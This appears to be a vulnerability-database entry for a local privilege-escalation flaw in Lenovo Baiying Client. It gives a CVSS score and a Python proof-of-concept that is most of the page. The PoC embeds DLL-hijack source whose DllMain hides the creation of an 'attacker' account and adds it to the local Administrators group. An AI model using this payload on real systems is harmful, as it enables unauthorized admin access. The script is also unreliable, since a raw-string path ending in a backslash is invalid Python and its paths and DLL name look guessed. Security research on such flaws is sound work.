An improper permissions vulnerability was reported in Lenovo Baiying Client that could allow a local authenticated user to execute code with elevated privileges.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Lenovo Baiying Client (所有版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13155 PoC - Lenovo Baiying Client Local Privilege Escalation
# This PoC demonstrates the exploitation technique (for authorized testing only)
import os
import sys
import ctypes
import shutil
from pathlib import Path
def check_vulnerability():
"""Check if Lenovo Baiying Client is installed and vulnerable"""
Baiying_paths = [
r"C:\Program Files\Lenovo\Baiying\bin\Baiying.exe",
r"C:\Program Files (x86)\Lenovo\Baiying\bin\Baiying.exe",
r"C:\Program Files\Lenovo\Baiying\Baiying.exe"
]
for path in Baiying_paths:
if os.path.exists(path):
print(f"[+] Found Lenovo Baiying Client: {path}")
# Check for weak permissions on service binary or config files
return True
print("[-] Lenovo Baiying Client not found")
return False
def exploit_dll_hijacking():
"""Exploit DLL hijacking vulnerability"""
# Target directory with weak permissions
target_dir = r"C:\Program Files\Lenovo\Baiying\bin\"
malicious_dll = os.path.join(target_dir, "LenovoDLL.dll")
# Create malicious DLL payload
malicious_code = '''
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Spawn elevated command prompt
system("cmd.exe /c whoami > C:\\\\temp_priv_esc.txt");
WinExec("cmd.exe /c net user attacker P@ssw0rd! /add", SW_HIDE);
WinExec("cmd.exe /c net localgroup Administrators attacker /add", SW_HIDE);
}
return TRUE;
}
'''
print("[*] This is a demonstration of the attack vector")
print("[*] In a real attack, a malicious DLL would be placed in the target directory")
print("[*] When Baiying Client restarts, the DLL would be loaded with elevated privileges")
return True
def main():
print("=" * 60)
print("CVE-2025-13155 - Lenovo Baiying Client LPE PoC")
print("=" * 60)
if not ctypes.windll.shell32.IsUserAnAdmin():
print("[*] Running as standard user")
print("[*] Attempting to exploit privilege escalation...")
if check_vulnerability():
exploit_dll_hijacking()
print("[+] Exploitation attempt completed")
else:
print("[!] Running as administrator - PoC requires standard user context")
if __name__ == "__main__":
main()